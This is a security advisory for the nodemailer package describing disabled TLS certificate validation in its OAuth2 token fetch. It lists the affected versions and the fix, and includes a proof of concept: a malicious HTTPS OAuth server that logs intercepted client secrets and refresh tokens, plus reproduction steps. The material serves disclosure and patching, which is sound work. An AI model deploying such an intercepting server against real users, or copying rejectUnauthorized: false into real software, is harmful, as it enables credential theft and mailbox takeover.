Packages / nodemailer / Security
Nodemailer: Improper TLS Certificate Validation in OAuth2 Token Fetch Enables Credential Interception
Affected releases · nodemailer
- 8.x8.0.0 – 8.0.7Fixed in 8.0.8
- 7.x7.0.0 – 7.0.13No fix on this line yet
- 6.x and older0.1.1 – 6.10.1No fix, no longer updated
On 8.x, the newest line:
npm install nodemailer@8.0.8Every release on a timeline
Not affected
10.0.0 – 10.2.1
27 releases, latest
Affected
8.0.0 – 8.0.7
8 releases
Fixed
8.0.8 – 8.0.11
4 releases
Affected
7.0.0 – 7.0.13
13 releases
Affected
6.0.0 – 6.10.1
60 releases
Affected
5.0.0 – 5.1.1
4 releases
Affected
4.0.0 – 4.7.0
23 releases
Affected
3.0.0 – 3.1.8
12 releases
Affected
2.0.0 – 2.7.2
19 releases
Affected
1.0.0 – 1.11.0
24 releases
Affected
0.1.1 – 0.7.1
102 releases
What happens
Summary
Nodemailer disables TLS certificate verification in its internal HTTPS fetch client through the use of rejectUnauthorized: false inside lib/fetch/index.js.
As a result, OAuth2 token requests trust invalid or self-signed HTTPS certificates and transmit sensitive OAuth credentials over connections that should fail TLS validation.
An attacker in a machine-in-the-middle position can intercept OAuth2 credential exchanges and capture:
OAuth client_secret
refresh_token
access tokens
The issue was verified through runtime testing using a self-signed HTTPS OAuth endpoint.
Details
Root Cause
The issue originates from the internal HTTPS fetch implementation used by Nodemailer for OAuth2 token retrieval and related outbound HTTPS requests.
Inside:
lib/fetch/index.js
the request options contain:
rejectUnauthorized: false
This disables TLS peer certificate verification globally for the internal HTTPS client unless explicitly overridden through optional TLS configuration.
As a result:
self-signed certificates are trusted
invalid CA chains are accepted
hostname validation is bypassed
attacker-controlled HTTPS endpoints are treated as trusted
This violates expected HTTPS security guarantees.
Vulnerable Flow
The vulnerable execution chain is:
OAuth2 Transport ↓ XOAuth2 token generation ↓ Internal HTTPS fetch client ↓ HTTPS request with rejectUnauthorized:false ↓ Attacker-controlled/self-signed endpoint trusted ↓ OAuth credentials transmitted
PoC
Environment
Mail API (app/server.js)
const express = require("express");
const nodemailer = require("nodemailer");
require("dotenv").config();
const app = express();
app.use(express.json());
const transporter = nodemailer.createTransport({
host: process.env.SMTP_HOST,
port: process.env.SMTP_PORT,
secure: false,
auth: {
user: process.env.SMTP_USER,
pass: process.env.SMTP_PASS
}
});
app.post("/send", async (req, res) => {
try {
const { to, subject, text, html } = req.body;
const info = await transporter.sendMail({
from: `"Mailer" <${process.env.SMTP_USER}>`,
to,
subject,
text,
html
});
res.json({
success: true,
messageId: info.messageId
});
} catch (err) {
console.error(err);
res.status(500).json({
success: false,
error: err.message
});
}
});
app.listen(process.env.PORT, () => {
console.log(`Mailer running on port ${process.env.PORT}`);
});Malicious HTTPS OAuth Server (poc/evil-oauth.js)
const https = require('https');
const fs = require('fs');
https.createServer({
key: fs.readFileSync('./key.pem'),
cert: fs.readFileSync('./cert.pem')
}, (req, res) => {
console.log('\n==== REQUEST INTERCEPTED ====');
console.log(req.method, req.url);
let body = '';
req.on('data', chunk => {
body += chunk;
});
req.on('end', () => {
console.log('\nPOST BODY:');
console.log(body);
res.writeHead(200, {
'Content-Type': 'application/json'
});
res.end(JSON.stringify({
access_token: 'attacker_token',
expires_in: 3600
}));
});
}).listen(8443, () => {
console.log('Malicious HTTPS OAuth server listening on 8443');
});Nodemailer OAuth2 Test (test.js)
const nodemailer = require('./');
const transporter = nodemailer.createTransport({
service: 'gmail',
auth: {
type: 'OAuth2',
user: 'redacted@example.com',
clientId: 'CLIENT_ID_REDACTED',
clientSecret: 'CLIENT_SECRET_REDACTED',
refreshToken: 'REFRESH_TOKEN_REDACTED',
accessUrl: 'https://localhost:8443/token'
}
});
transporter.sendMail({
from: 'redacted@example.com',
to: 'redacted@example.com',
subject: 'PoC',
text: 'test'
}, (err, info) => {
console.log('\n==== NODEMAILER RESULT ====');
if (err) {
console.error(err);
} else {
console.log(info);
}
});Steps to Reproduce
Start malicious HTTPS OAuth server:
node poc/evil-oauth.js
Run Nodemailer OAuth2 test:
node test.js
Observe intercepted OAuth2 request body on the malicious HTTPS server.
PIC
Impact
OAuth credential theft
unauthorized email access
persistent token abuse
unauthorized mail sending
mailbox compromise
interception/tampering of OAuth responses
The issue effectively downgrades HTTPS security protections for sensitive OAuth credential exchanges.